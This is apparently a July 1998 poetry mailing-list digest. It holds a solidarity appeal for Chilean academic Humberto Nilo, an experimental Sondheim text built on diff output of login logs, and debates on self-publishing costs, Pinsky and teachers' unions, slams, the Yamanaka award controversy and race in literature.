>>años por esos sectores. Es sintomático que Humberto Nilo ya haya sido
>>expulsado de su cátedra en la Universidad bajo la dictadura de Pinochet.
>>Hoy que Pinochet ocupa un cargo de senador vitalicio sus partidarios
>>levantan cabeza y están cobrando venganza sobre todos aquellos que, como
>>Humberto Nilo han jugado un papel progresista en el campo de la cultura y
>>se han opuesto, siempre, a toda forma de autoritarismo y vasallaje en la
>>enseñanza de las artes.
>>
>> Humberto Nilo fue, también, quien acogió, en 1996, en la Escuela
>>de Artes, la exposición de homenaje al recientemente fallecido Guillermo
>>Deisler, otro perseguido por la dictadura de Pinochet, también académico de
>>artes en la Universidad de Chile, en Antofagasta, quien debió huir a toda
>>prisa de Chile con toda su familia a un destino incierto bajo la amenaza de
>>muerte. Esos mismos sectores dictatoriales están hoy expulsando a todos los
>>profesores y catedráticos que han dicho NO a la brutalidad y a la
>>violación constante de los derechos humanos.
>>
>> Ante el temor de que los desplantes y la brutalidad del régimen
>>puedan poner en peligro la vida de Humberto Nilo y de sus familiares
>>iniciamos esta campaña mundial solicitando a todos los artistas-correo y
>>networkers del mundo entero a que envíen, a su dirección postal,
>>expresiones de apoyo solidario para que, de alguna manera, sus ofensores
no
>>puedan llevar a cabo sus amenazas impunemente:
>>
>> Humberto Nilo Saavedra
>> Calama 8435
>> La Cisterna,
>> SANTIAGO
>> CHILE
>>
>>[redacted]
>>
>>WEB:: http://members.tripod.com/~TERRITORIO/STOPINFO.html
>>
http://members.tripod.com/~TERRITORIO/DENUNCIA_INTERNACIONAL
>>
>>
>>
>>SOLIDARITY
>>
>>

>> Finally, Humberto Nilo Saavedra , Director and Academic of the
>>Arts School of the University from Chile was virtually tossed of their
>>position for the reactionary pinochetists sectors of the University. The
>>drop that filled the glass was the exhibition of mailart "STOP: freedom,
>>diversity and pluralism" in the Art Contemporary Museum of Santiago that
>>Humberto Nilo had organized in order to defend of the persecutions that he
>>was supporting for long years. It is symptomatic that Humberto Nilo has
>>already been expelled of their class in the University under the
>>dictatorship of Pinochet. Today, that Pinochet occupies a position of
>>senator during life, his acolytes lift head and are collecting vengeance on
>>all those that, like Humberto Nilo, had played a progressive paper in the
>>field of the culture and has been opposed, always, to all form of
>>autoritarism and vassalage in the teaching of the arts.
>>
>> Humberto Nilo was, also, who showed, in 1996, in the Arts School,
>>the exhibition of homage to the recently died Guillermo Deisler, another
>>pursued by the dictatorship of Pinochet, also academic arts in the
>>University from Chile, in Antofagasta, who should flee as quickly as
>>possible from Chile with all their family to an uncertain destination under
>>the threat of death. Those same dictatorial sectors are today expelling all
>>the professors and professors that they have said NO to the brutality and
>>to the constant violation of the human rights.
>>
>> In the face of the fear that the menaces and the brutality of
>>the regime could put the life of Humberto Nilo and his relatives in danger
>>, we want began this world campaign requesting to all the mailartists and
>>networkers of the whole world that to send expressions of support to their
>>postal address so that, somehow, his offenders could not carry out their
>>threats:
>>
>> Humberto Nilo Saavedra
>> Calama 8435
>> La Cisterna,
>> SANTIAGO
>> CHILE
>>
>>[redacted]
>>
>>WEB:: http://members.tripod.com/~TERRITORIO/STOPINFO.html
>>
http://members.tripod.com/~TERRITORIO/DENUNCIA_INTERNACIONAL
>>

>>
>>Clemente Padín
>>C.Correo Central 1211
>>11000 Montevideo - URUGUAY
>>Fax (598 2) 915 94l7
>>E-mail <[redacted]>
>>
>
>

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4. Alan J.J.N. Sondheim

Differance

Wed 1 Jul 1998

(I realize the difficulty of the following, which is based on the compar- ison of two files, the difference between two signs, re: Saussure or for that matter Derrida, Lacan. But diff here is restrained; what it produces also reproduces/constitutes virtual subjectivity. You can take this far- ther, just as moon is a word, just as in rl "moon" is a word.)

Differance

What is difference, and how are subjects constituted?
{k:3}diff subject-now subject-then
How do they differ, and in what lines do they differ?
71a72,74
> Jun 30 23:17:42 166 PAM_pwdb[276]: (login) session closed for user root
> Jun 30 23:17:47 166 PAM_pwdb[559]: (login) session opened for user root by (uid=0)
> Jun 30 23:17:47 166 login[559]: ROOT LOGIN ON tty1
{k:4}diff where-am-i-now where-was-i-then
Binary files where-am-i-now and where-was-i-then differ
(strings where-am-i-now > aa; strings where-was-i-then > bb;
  diff aa bb >> zz)
How do they differ, and in what lines do they differ?
53a54,58
> tty1
> tty1
> LOGIN
> tty1
> root

You see, differance is a file or array; you see, it's not the subtle wisp of cloud caressing the moon, gone before your aware-ness (mono no aware) catches up with you... Nikuko would write the difference with the edge of the brush; back erect, shodo following breath upon the horizontal page. But here, she'd say, were she next to me, hands on shoulder, lips lightly brushing the erect back, it's a question or answer of five strings, well-defined, pure information which only happens to appear in this or that font, of this or that size, bold or italic or underline, or any other default setting the subject might predispose herself to reading within. She, subject-Nikuko, turns back to the brush. Kanji is not always a question or problem of difference, however subtle; it is also a memory. Isn't every alphabet. Only to the extent that bandwidth reduces to the twenty-six, and then further to the two, harbored against the one. Always coherent, the two, Nikuko said; it's literally bound that way. One swallows the other. Moon, fogging.

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5. David Baratier

AZ

Wed 1 Jul 1998

I'll be in Phoenix and Tucson 7/7 through 7/9. Anything going on out that way next week?

Be well

David Baratier

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6. David Baratier

Re: [what I suggest we should do]

Wed 1 Jul 1998

I cannot speak for most poets as I am not most poets.

I can say that every book our press has published has paid its authors in copies plus a cash amount. The industry standard in small press publishing is 10 to 15% of press run usually paid in copies, we do a little better. If vanity publishing were the industry standard wouldn't it be called industry standard? Eh?

> *Witherup changed my life because it opened up the realm of possibilities as both a writer and editor.*

I am talking about reading an anthology edited by these individuals and taken from writers "from the streets" who ended up in prison because of what they had to do to survive or would be writers who never thought they could be one. And how it expanded the realm of the possible for a guy like me. I have no idea where your censor comment came from, perhaps your unfamiliarity with the subject of Bruchac, et tal.

"to know, or know an agent or publisher who knows well and personally a large enough number of book reviewers and editors. All of those factors are _essential_ and all of them will be rubbed in one's face as essential and unavailable to self publishers."

In NY state small press editors are given a chance through the NYState arts council to do a learning process where a larger press donates their time to mentor a smaller press and show them the ropes in all of the areas mentioned above. In Philadelphia, individuals such as Gil Ott (Singing Horse), Valerie Hanson (Boulevard), Ethel Rackin (APR), were willing to do the same if you sought them out. Journals are also willing to do the same if you donate your time to them.I was unaware that presses weren't willing in Canada to do the same for the good it would bring the community of writers in the particular area you speak of.

Be well

David Baratier

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7. rsillima

Pinsky as union busting

Wed 1 Jul 1998

I didn't read the Pinsky piece as being so much about jobs for poets as much as only slightly papered-over union busting. Either that or he is incredibly naive about what public school districts, especially in underfunded urban areas, would do if they could hire employees with no formal training. For every posh prep school that hires MFAs to enrich already well-funded programs, there are 10 neo-Christian fundamentalist home church type environments that use the same approach to provide who knows what in the name of education. If you want inner city schools that look even more like concentration camps, his proposal would be one quick way to get there. I found this to be a most curious use of the laureate-ship indeed.

Ron Silliman

↑ Index

8. **morpheal**
Re: [what I suggest we should do]
Wed 1 Jul 1998

David, let this be your reality check.

> *I understand poets do this. They receive their copies from publishers.*

Most poets PAY for the printing and binding of their works. They also PAY for any promotion of their works, such as advertising. They get nothing for nothing, in most instances. Few poets actually get published and paid for publishing. Most poets also pay all their own expenses to go to readings, unless someone passes the hat and takes up a collection. It is hardly a step up from begging on the streets as usually it does not pay for dinner and gas for out of towners.

At least that is how it is in Canada. I assume similarly in the United States.

> *In your experience as a publisher is this your suggestion?*

Actually I self published one book, and a couple of pamphlets. All of it poetry, and all of it was 90% give-away, rather than gaining any revenue.

> *Witherup changed my life because it opened up the realm of possibilities as both a writer and editor.*

Ah, you are a censor. I lacked an experienced censor, to tell me what to include and what to leave out, when I self published mine, so I failed at it. A lesson for others who too fearlessly attempt that path. I would counsel any that they need 1). an experienced censor

2). an experienced mass marketer
3). an experienced agent / public relations person
4). a mass advertising capability
5). an economical mass distribution system
6). to know, or know an agent or publisher who knows well and personally a large enough number of book reviewers and editors

All of those factors are _essential_ and all of them will be rubbed in one's face as essential and unavailable to self publishers. None of them are optional if we are talking about anything that even resembles _real_ "success". That ought to do it, in most instances, as to making publication of a title reasonably "successful" as to any significant "market share" or even as to recovery of costs put into it.

The alternative is for another publisher who has turned a profit and survived at it, to invite one to dinner. It is traditional to go with holes in one's own pockets. In the give and take of it all one has to learn to take one's defeats with some elements of grace and style. That's about all there is to it. It actually happened, and the small press publisher and I, remain friends despite having given our

nod to custom and tradition. Anyway, that happens when oneself is deceased as publisher, having failed to thrive.

My experience at self publishing cost me some thousands of dollars, so as to have some poetry in print to give away. That was not the original intention, but that is how it ended up. Not to even begin to add in the amount of hours put into writing, typesetting, producing, and getting it out there. I will recover my postage costs, due to a government of Canada program, that pays authors a small fee based on how many copies of their books are found on the shelves in random sampled Canadian libraries. Only the postage for some give aways.

Lessons are always expensive, and some lessons more expensive than others.

Morpheal

aka Bob Ezergailis

(deceased publisher)

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9. William A Sylvester
Re: READING ANNOUNCEMENT
Wed 1 Jul 1998

Many thanks, Taylor, for the announcement.
It will be a really interesting reading--
In her recent posting Wendy referred to Arp--part of the Dada group in Zurich around War I--
We did a reading of one of his sound poems, years ago in the Electronic Poetry Workshop--also a multilingual poem read by Ray Federman, Ron Hauser and me. Bill whistles and horns included. Lots of fun.
Cheers
Bill

On Tue, 30 Jun 1998, Taylor Brady wrote:

> *Listmembers in and around Buffalo should check this out:*
>
> *Scratch & Dent*
> *(a slightly irregular reading and performance series)*
> *presents an evening of*
> *poetry in alternate tunings*
>
> *with*
>
> *Wendy Kramer*
>
> *Stephen Cope*

> *and*
>
> *Joel Kuszai*
>
> *Friday, July3, 8pm*
> *@ Cornershop, 82 Lafayette*
>
> *----------*
>
> *Taylor Brady*
> *editor, Cartograffiti*
> *http://writing.upenn.edu/spc/cartograffiti*
>
> *(a publication of the Small Press Collective)*
> *http://writing.upenn.edu/spc*

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10. Bob Grotjohn
Re: yamanaka protest
Wed 1 Jul 1998

Below is something else about the Yamanaka un-award. For more on the haole and multiethnic in Hawaii, people might like to read *Ono Ono Girl's Hula* by Carolyn Lei Lanilau (U of WI, 1997). After getting a job that she didn't want in a cannery: "Shock, denial, genuine nightmare is how I felt when the lady grinded out 'Report to work tomorrow' in the pidgin tone, go-to-hell enthusiasm. While it is my habit to analyze a situation which appears irrational, I now realize that at that moment, I embraced Language Poetry" (35-36).

Dear Writer:

I am writing to inform you about a situation of concern regarding Asian American writers and the Association of Asian American Studies. This situation centers around the work of Lois-Ann Yamanaka and the decisions of the AAAS literary awards committees and the Board of the AAAS. Ultimately, I think it also concerns the complexity and freedom of our work, the need for an understanding of how literary works function, and a tribal policing for “political correctness” which has characterized a certain part of the way members of the AAAS have regarded the work of Asian American authors.

In November 1996, Jinqi Ling (UCLA), Sau-ling Wong (UCB) and Traise Yamamoto (UCRiverside) were asked to serve on the literary awards committee for the 1997 Asociation of Asian American Studies conference to be held in Seattle. The committee was be responsible for reading fiction and poetry

published in 1996. In February of 1997, the committee selected Lois-Ann Yamanaka's Wild Meat and the Bully Burgers to receive the AAAS book award. Jinqi Ling, the Chair of the committee, wrote up a letter announcing their decision.

Subsequently, certain AAAS Board members objected to the committee's decision. Apparently, no one was objecting to Wild Meat itself; rather the objection was based on the fact that Yamanaka's previous volume, Saturday Night at the Pahala Theater, a 1994 AAAS award winner, had contained poems which some regarded as offensive to the Filipino American community or as protraying Filipino Americans in an unfavorable and stereotypical way. This sentiment was voiced by other AAAS members, including the Filipino Caucus. Eventually, the board voted to pull the award. As I understand it, no public announcement was made recording the judges' decision and the overturning of that decision.

In 1998, the Board appointed another literary award committee--Caroline Chung Simpson (chair), David Eng (Columbia) and Wendy Ho (UC Davis). They chose Lois-Ann Yamanaka's Blu's Hanging as this year's award winner. Again a protest has started up. Apparently, at this year's AAAS conference in Hawaii, there will be a discussion of Yamanaka's work and the controversies surrounding it.

One of the Board Members to vote against the award in 1997, was Dr. Jonathan Okamura (UH), the only member from Hawaii. In a Hawaiian publication, Honolulu, Okamura said, "I and other board members objected because of Yamanaka's continued stereotyping of Filipinos." In the same article, though, Okamura admited that his complaint was not necessarily with Wild Meat, which he said he had never read, but with Yamanaka's third and latest book, Blu's Hanging. "In Blu's Hanging, she equates Filipinos with rats and depicts them as oversexed," said Okamura, who pointed out that he had not read Blu's Hanging either, but did thumb through it looking for passages he felt maligned Filipinos.

Nowhere in Okamura's response was there any consideration of the fact that the speaker in the poems he objected to was a character and not the author or to the fact that Blu's Hanging is not an autobiographical work or personal essay but a work of fiction narrated by a fictional character. In other words, with both works, views are attributed to the author which are actually those of a fictional character. To read literary works with such logic

completely misreads the way literarary works create a complex and multivoiced picture of the world and would shackle authors in any number of problematic ways. For one thing, it implies that no characters or narrators should espouse anything other than politically correct views.

All this does not mean that I do not think that authors should be protected from criticism of their work. Nor do I feel that one needs to agree that Yamanaka has succeeded aesthetically in all aspects of her work or that one cannot critique the portrayal of Filipino American's in her work. But I am disturbed by Board member Okamura's refusal to read Yamanka's work and his misunderstanding of the literary enterprise, and I question his qualifications to judge individual literary works and his understanding of the writer's enterprise (I can only wonder if other Board members displayed similar tendencies in their reasoning). I am even more disturbed by the process through which the AAAS literary awards committee's decision has been overturned and may be again.

I am writing other writers and organizations and asking them to protest the AAAS Board's refusal in 1997 to recognize the decision of its own literary awards committee and to urge that such an action does not take place again in 1998. Those who oppose Yamanka's work and her receiving the award have and are continuing to lodge their own views with the board. The other side need to be heard.

You can write the AAAS at the following e-mail adress:

[redacted]

If you wish additional information on these matters or if you do not have e-mail, you can also contact Wing Tek Lum at [redacted] (work); [redacted] (home); fax ([redacted]). We ask that you send a copy of your response either to him or to me (e-mail: [redacted] fax: [redacted]).

We would like to receive your response before the roundtable on Lois-Ann Yamanka's work on June 26, 1998 at this years AAAS conference in Hawaii.

I have also prepared a statement below, which you may choose to send as part of your e-mail. These are a list of my objections. Feel free to choose whatever part of this statement feels appropriate for you.

I thank you for taking the time to read this e-mail. Please feel free to pass
this information on to any interested parties.

All best,

David Mura
1920 East River Terrace
Minneapolis, MN 55414-3672
(fax [redacted])
e-mail: [redacted]

Letter to the Board of the Association of Asian American Studies

1) I wish to protest the AAAS Board's decision in 1997 to ignore the choice of its 1997 literary awards committee to give a book award to Lois-Ann Yamanka for Wild Meat and the Bully Burgers. I also urge the Board to recognize

the decision of its literary awards committee to give a book award to Yamanaka's

Blu's Hanging in 1998.

2) I am concerned too with a reading of Yamanaka's work which ignores or misreads the way a fictional character or narrator functions in a literary work.

3) I also wish to reaffirm that writers often must, by the nature of their enterprise, upset and question prevailing views, evoke extreme and visceral reactions, and write in ways where ambiguity and complexity take precedence over "political correctness" or safe and comforting portraits of the world, our community, or the individuals who reside there.

4) I am also concerned with the way the AAAS has sometimes seemed to organize "witch hunts" against various writers. This is not to say that writers should be immune from criticism. Indeed, criticism is a necessary part of the creation of a literary culture. Perhaps, though, it might be helpful for people to look into the mechanism and psychological reasons why those within a community wish to tear someone from the community apart once they have become successful. Rather than encouraging literary variety and creativity and recognizing the difficulty of the tasks which writers and other artists perform, the AAAS seems at times to have been attempting to invoke comformity and silence.

Sincerely,

signature, e-mail/fax/phone/address

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11. Mark Prejsnar

Re: lib of poetry

Wed 1 Jul 1998

On Tue, 30 Jun 1998, David Baratier wrote:

> *Fred and the others close to libraries (I deleted mail too quick) bring up an interesting point for the small press publishers on here. In my experience with trying to get issues into libraries, even with someone requesting material, every so often I have run into a panel situation where I send them a sample copy and the continuing subscription never is ordered. It only seems to happen at the largest of academic universities. Is this practice common?*

> *Be well*
>
> *David Baratier*

David,

What do you mean by "a panel situation?"....

In any event, i always try to hedge my enthusiasm with a certain number of qualifiers..There are *definitely* libraries out there (academic and public) where attempts to introduce half-way decent poetry (my phrase for poetry outside the workshop mainstream) would be resisted or flatly repulsed. But a larger number where it would be met with interest and responsiveness.

Perhaps your past experience is with some of the resistant strain...

But there is this: your phrasing above makes it sound like you may have been dealing with poetry mags....Now this is a trickier situation. I always encourage people to try with book acquisitions, because changing the patterns of a library with respect to periodicals is often *much* harder. This may be part of the problem you've encountered. Periodicals represent an ongoing commitment, and in this day and age when capitalist crisis and extremely right-wing fiscal agendas have trashed most libraries' budgets, it is very hard to get them to consider new serials commitments, unless they are certain a substantial number of their patrons are going to use the title in question....Also, poetry mags as we all know don't follow the strict publication patterns of commercial periodicals, for the most part, and for a variety of reasons violate the expectations and work-habits of library serials departments; and this tends to make it a harder sell.

Starting out with books is easier.

mark
@lanta

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12. Brent Long
Racist Poetics
Wed 1 Jul 1998

Dear List,

I have been watching the string of postings concerning the protest of Lois-Ann Yamanaka's recent award, based on what apparently were interpreted as racist views of hers.

As I am watching this conversation unfold, I cannot help but wonder if i missed something somewhere along the way when so much attention was given to the

genius of Maya Angelou, without regards to her - dare I say- OVERTLY racist viewpoints. I have heard Dr. Angelou (though I hate to call her that, since the degree is an honorary one, and not an academically earned one) speak on several occasions, and EVERY time she has lectured she has addressed the audience (which for some reason is always almost entirely white middle-to-upper-class) as if she were back in Stamps, Arkansas.

In her novels and poetry, the word "black" is always capitalized, while the word "white" is never, and her views are almost bordering on rhetoric (to say it lightly). yet nobody ever says a word about it...why now all the attention concerning the recent award for Yamanaka's poetry??? What sets her up for the chopping block, when ever more severe examples of racism in literature are allowed to pass us by without note???

Another poet, American, citizen sick of the "race" issue,

Brent
[redacted]

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13. **nuyopoman**
Slammin MFA
Wed 1 Jul 1998

Great to read the whole of Padgett's tender stroll and Miller's pierced screed in a sitting! I'd give Padgett a 9.8 and Miller a 9.7 because I'm just back from the Slam at Chelsea Feast (507 W. 23, NY, NY, 10001) where Beau Sia hosts 'em every Tuesday at 8.

Padgett is the clearest writer I've ever met. So, how does he get clearer? Amazing. And Miller pounds away at the inside out, making it public, always has, and it's a mess, still. But we've got the Supreme Court voting aesthetics now, huh? and he makes me look where I don't wanna see. Thomas Salia blech.

I, too, am proud of my poetry reading vet stripes. Many of the crowd at last night's Slam (average age: 20) will go on to: Readings. This is a "good" "thing." They do not go to readings now; the raucous commotion churns is what they want. Too young to "drink," must poetry be denied them? Matt Levy (18 y.o.) was featured --his zine "Schemantiks" is a hoot -- [redacted]. He won a high school poetry contest this year -- will be taking his $10,000 scholarship prize at Emerson in the fall.

As for the historicity of slam, it's clear enough at Kurt Heintz's site: http://www.tezcat.com/~malachit/slam/. If anyone has some deeper interest, lemme know.

It's an energizing marvel to find Pinsky on OpEd. We need the word careening top down, too. Poet Laureate on date with First Lady -- great! Kenny Carroll, DJ Renegade, and Nancy Schwalb getting props -- totally great. None has MFA however. And institutions like T&W and PITS and WritersCorp need support.

Alliance between MFA and Slam via Poets in Schools programs to get art in and voices out of middle and high schools is the platform.

(Next issue of Radio Poetry News [http://www.mouthalmighty.com/radio/htm] will feature poems from the Slam that Hil and Robert heard. POEMS THE TIMES REFUSED TO PRINT!!!!)

Bob Holman

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14. Julie Marie Schmid

Re: Slams/Pinsky as union busting

Wed 1 Jul 1998

Amen to Ron's post! The idea of using non-certified MFAs to teach in public schools could be seen as a serious attempt to errode the teachers unions' bargaining units. Likewise, it appears to me that the "more bang for your buck" theory of education would work just like the ethically questionable practice of hiring adjuncts and one-year contracts, etc., that is all the rage in most universities and colleges. It's just a way to hire people for very little money, offer them no job security, and then work their asses off because they are so pleased to get a chance to be in front of a classroom.

I also find it curious that no one has mentioned any of the slam poets who ARE high school or middle school teachers. Daniel Faery of the Berwyn team and Taylor Mali (who did teach at one time--I'm not sure he still does) immediately come to mind. There is also Michael Brown, who is a professor at Mount Ida College in Boston.

This might be a bit naive on my part, but it seems clear to me that the qualities that make one a good teacher would also make one a good slam poet--enthusiasm, eloquence, and the ability to make you think about something in a new way. Of course, not all slam poetry does this. But, then again, not every teacher does either.

Julie Schmid
Dept. of English
University of Iowa

↑ Index

15. Joe Amato/Kass Fleisher
three items...
Wed 1 Jul 1998

(1) bob holman makes a convincing case for the value of slams, whatever you think of them... the only danger of course is that folks come out of slams expecting ALL poetry to do thus & so in terms of oral performance... but worth the risk to get the word out, i think, and to contribute to the flows... btw: is it true that both slams and bouts had their origins in chicago?... i've heard marc smith go on about slams... in any case, this makes the cultural-historian-hobbyist in me wanna ask what is it about chicago that cultivates same?... broad shoulders?...

(2) i agree with ron and julie on the union issues, being mself prone toward collective bargaining... somehow it sounds like pinsky just wasn't thinking... but julie: i'm not sure i'd make that correlation between performance and teaching quite so strong...

(3) brent long: "Another poet, American, citizen sick of the 'race' issue"... are you joking or something?... i don't have much use for angelou's poetry mself, but that's quite beside the point it seems you're making here...

best,

joe

↑ Index

16. Pritchett,Patrick
Re: Parnassus
Wed 1 Jul 1998

Not the mountain, but the molehill ... does anyone have a current address for them? Are they still around, even (yet)? Pls backchannel, thanks.

In the dark,
Patrick Pritchett

↑ Index

17. Jordan Davis
used to .. but now
Wed 1 Jul 1998

Todd --

It sounds like Diane Ward's child's teacher was using Kenneth Koch's book _Wishes, Lies & Dreams_, and was not giving very inspiring examples (if lines

like "I used to be six but now I'm nine" were what the teacher was getting -- unless there was some Hendrix playing in the background?). I'm surprised to see those lessons criticized for overdependence on the world of things; when the book came out, many (including Teachers & Writers stalwart Phillip Lopate) saw Kenneth's exercises as too much promoting the surreal among children, the fear being that kids would detach from reality. Oh well! people always will complain about the atmosphere.

Incidentally, Ted Berrigan and Bruce Andrews have both used the "used to .. but now" exercise in their work.

Jordan Davis

↑ Index

18. morpheal

Re: without established connections self published goes nowhere

Wed 1 Jul 1998

> *I can say that every book our press has published has paid its authors in copies plus a cash amount. The industry standard in small press publishing is 10 to 15% of press run usually paid in copies, we do a little better.*

That is rare to non existent in Canada. At least in Southern Ontario, and as far as I know throughout the country. Here the full cost must be paid by the author, for everything. Including any mail out of copies by the publisher, at an extra cost, to institutions and/or reviewers. That is the standard here for authors who are not established, and do not have a relatively long string of successful titles behind them.

A short run of poetry books, perfect bound, here, simply printed, costs in excess of $1500. That is cost to the author. Chapbooks, in short run printings, and of a few dozen pages tend to cost around $250 to $500 stapled depending on the size of the press run.

Any promotional expenses extra. Postage extra.

It is considered alright to pay for publishing all those titles, though. It is _never_ referred to as 'vanity publishing'.

It is also considered alright to finance any amount of self promotion, if one has the ability, the know how, the connections, and the money to do it. There are no restrictions on that either, but free promos usually only go to people who have paid for some promos in the past. To pay for promo also pays for insurance, in some places, against negative publicity. It is somewhat alike to the mob. You pay us, for getting not much of anything, so we do not break your kneecaps. Some of media here works exactly that way. Not all, but some. Keep the money

rolling out of your pocket, or die. (Not quite literary payola, but not that much different, and you have to know who to give money to, but you quickly do learn that most of what appears to be friendship has a price. Rare exceptions to that.)

One almost _has to be_ a national award winning, laureled poet, to get a publisher to pick up the costs of publishing. Very few exceptions. Even national award winners, after winning the nation's most coveted literary award, tend to do a reading circuit in small cafes, pubs and libraries, with a bag of volumes that they have to peddle themselves as would a door to door salesman. Enough, successful, self publishing can win a significant award, but often a factor in that is how much money was invested into publication. Three colour litho covers get a lot more points scored than do one colour letterpress or offset covers. So self publishing authors are encouraged to put money into their cover design and printing, on their second attempt, if they financially survive their first meagre effort.

We do not question it. It simply is our cultural life here. It is how it is.

It is a nation of chapbooks, mostly unadvertised to the mass market, and on consignment in a limited number of stores.

> *If vanity publishing were the industry standard wouldn't it be called industry standard? Eh?*

Perhaps that distinction makes sense in America, but here if one does not have a relatively current, self-published book out, one does not get to read at any worthwhile readings. The readings are controlled by a few people who invite one of two kinds of people 1). people who have paid them money for one or another service rendered and 2). people who have afforded to publish books. Others are limited to the occassional open mic and to very tiny audiences in most instances. The publishers control some of the better reading venues, and are not reluctant to put poets to gunpoint extortion to pay to publish if they want to read at readings. If you cannot afford it then read to your own four walls is usually the answer.

I would never spend as much as it takes to publish a book of poems on vanity. It is simply not my nature to do so. I did spend it on it because I have been writing poetry for a long time, and felt some of my poems might have some merit as poems, as works of art, and be worthy of a literary audience's interest and enjoyment.

I decided to compile such a book. I typeset the book. I arranged the pages ready for press. Then when the book was ready to be printed, I thought somewhat long and hard about how to dedicate it on that page that says "to.....". I chose an event, involving another person, that had had a profound influence on

some of my writing. Then I added those words and the initials of the person, after the book was done.

The book was conceived when a local friend, a fellow poet, somewhat encouraged putting something together. He had the established connections to get me some readings, at least locally, IF I had a book. He did not ask me to pay him to publish one. He only asked if I had a book so he could include me where possible.

Then it went to the printer who had to be paid cash on the barrel.

Then I was allowed some slightly better readings, locally and in Toronto, and invited to some others a little further afield, by another more established poet. So it goes here. There were a few real, though small, audiences. When the book runs its course, the question then becomes "do you have another book out, yet ?" If the answer is yes, then it is possible to schedule in to a few more readings.

> *I am talking about reading an anthology edited by these individuals and taken from writers "from the streets" who.....*

It is nearly taken for granted in Canada that nearly every artist, writer, poet, MUST have another vocation and a paying job to support their own artist. There is nearly zero tolerance for artists financing their work from anything else.

At one time some artists used to collect welfare so as to have some time to work on their art. It was only a few, and they often were disfavoured otherwise for doing so, but now welfare recipients are given workfare jobs to do and that practice is much more difficult, if not impossible. Now some try to go insane and collect disability. Personally I prefer to avoid those means by no means, and cannot speak for any others.

I consider my "press" bankrupt and closed down.

> *In NY state small press editors are given a chance through the NYState arts council to do a learning process where a larger press donates their time to mentor a smaller press and show them the ropes in all of the areas mentioned above. In Philadelphia, individuals such as Gil Ott (Singing Horse), Valerie Hanson (Boulevard), Ethel Rackin (APR), were willing to do the same if you sought them out. Journals are also willing to do the same if you donate your time to them.I was unaware that presses weren't willing in Canada to do the same for the good it would bring the community of writers in the particular area you speak of.*

There is nothing of that kind, as far as I know, in Canada. Even if there were, in one way or another, it would cost a huge amount of money. Most people cannot afford that.

There was a local program of business mentoring and a little financial assistance during startup, but they were totally uninterested in anything to do with the arts, and would not supply mentoring to any arts oriented venture. An advertising business, doing advertising for other businesses, run by someone who has connections enough to do that, would have been applauded and taken on, but someone who has scrounged dollars to publish a book of poems, was of no economic interest to anything of that kind.

There is no other money or other assistance available for anyone who is not "established" in the arts. To know the right people one must be established, and to be established one must know the right people.

Chicken and the egg.....

The yolk was on me. I thought I could finance my own art, on the basis of the product returning the costs, while financing myself on the basis of a full working day at a non arts job. It does not work that way. At least not here....So tell me, how does it work there ?

M.

aka Bob Ezergailis

poetry as poetry is meant for an audience to experience
so the poet went out into the world.....
and found that everything costs a lot of money.

↑ Index

19. Brent Long
Re: Racist Poetics
Wed 1 Jul 1998

---

well, I think you've stated your case... and that's about all you've done.

At 10:57 AM 7/1/98 -0600, you wrote:
>Just to state the obvious:
>
>Without being a fan of Dr. Angelou, nothing you say Brent indicates
>racism on her part. The issue of reverse racism is a long debated one
>among white hysterics who love to react to the issue of "P.C." Racism
>is an issue of institutional domination, which despite her honorary
>degree, Dr. Angelou does not, will never, possess. See how easy it was
>for you to place her "back in Stamps, Arkansas."
>
>Furthermore it is never a simple accidental/coincidental "reason" why
>the audience is always almost entirely white middle-to-upper-class.

>Check out the June 21 NYSlime article on the reorganiziation of private
>college aid which favors just the abovementioned folk.
>
>as for her views, rhetoric, poetry--no need for me to defend them, her
>political use of capitalization a racist make her? please please now.
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>> I have been watching the string of postings concerning the protest of
>> Lois-Ann Yamanaka's recent award, based on what apparently were interpreted
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>> literature are allowed to pass us by without note???
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>> Another poet, American, citizen sick of the "race" issue,
>>
>> Brent
>> [redacted]
>

>
[redacted]

↑ Index

20. **Eryque Gleason**
Re: without established connections self published goes nowhere
Wed 1 Jul 1998

---

if the authors pay for everything, are the publishers really publishers, or would it be more accurate to call them printers? if i write a book i can call mc-naughton&gunn in michigan and have them print as many copies as i can pay for. but this is far different from sending a manuscript to a publisher and hoping they like it enough to print it.

eryque

On Wed, 1 Jul 1998, morpheal wrote:

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21. Rachel Levitsky
Re: Racist Poetics
Wed 1 Jul 1998

Just to state the obvious:

Without being a fan of Dr. Angelou, nothing you say Brent indicates racism on her part. The issue of reverse racism is a long debated one among white hysterics who love to react to the issue of "P.C." Racism is an issue of institutional domination, which despite her honorary degree, Dr. Angelou does not, will never, possess. See how easy it was for you to place her "back in Stamps, Arkansas."

Furthermore it is never a simple accidental/coincidental "reason" why the audience is always almost entirely white middle-to-upper-class. Check out the June 21 NYSlime article on the reorganiziation of private college aid which favors just the abovementioned folk.

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> her up for the chopping block, when ever more severe examples of racism in
> literature are allowed to pass us by without note???
>
> Another poet, American, citizen sick of the "race" issue,
>
> Brent
> [redacted]

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22. **Simon DeDeo**
Re: Racist Poetics
Wed 1 Jul 1998

Brent --

I sympathize somewhat with your points; it is often a little distasteful to see artists such as Dr. Angelou (in my case, Dolores Kendrick) with an obvious race "agenda" gaining so much noncritical adoration from the very institutions that she criticizes. And the artists, god bless 'em, often aren't very nice people anyway. This dynamic shows up in arenas other than race, of course; writers with a distinct "feminist", "class based", regional, (&c...) stance often fail to translate their aesthetic positions into action. It's wonderful to admire writers such as Rich who manage to keep their politics "correct", but important to note that it's not a requirement for good art.

I do agree with Rachel, though. The entirely media induced hysteria about "reverse discrimination" has been ungracefully gracing the back pages of Time magazine for years now, and it seems that even George Will is getting tired of complaining from Conneticuit. While I'm not a fan of Angelou, I do love, say, Morrison's work, which is all so full of "racist" violence; do you have the same problem, Brent, with her work? _Paradise_, _Jazz_...?

> *Another poet, American, citizen sick of the "race" issue*

One of the few, I guess. Race is forever a part of American life in a way that it will never be (hopefully) for any other nation. Some of the great work of America is generated out of "the race issue", if that's what you want to call Faulkner's muse. Gould may point out that biologically speaking, race does not exist, but as a cultural and aesthetic entity, it's here to stay.

> *attention concerning the recent award for Yamanaka's poetry??? What sets her up for the chopping block, when ever more severe examples of racism in literature are allowed to pass us by without note???*

Because nobody's tying up white people and dragging them behind pickup trucks. Because I turned on the shortwave this morning and heared the BBC World Service interviewing the KKK at a demonstration in Texas. Even if it weren't for the fact that whites in America have held the "language privilege" for years. I don't believe Yamanaka's work (fiction, not poetry, I believe) should be censored, but it's a totally different question there, where the writer may be taking cheap shots at racial group that can't respond because Y holds an position of economic power.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

> *Just to state the obvious:*
>
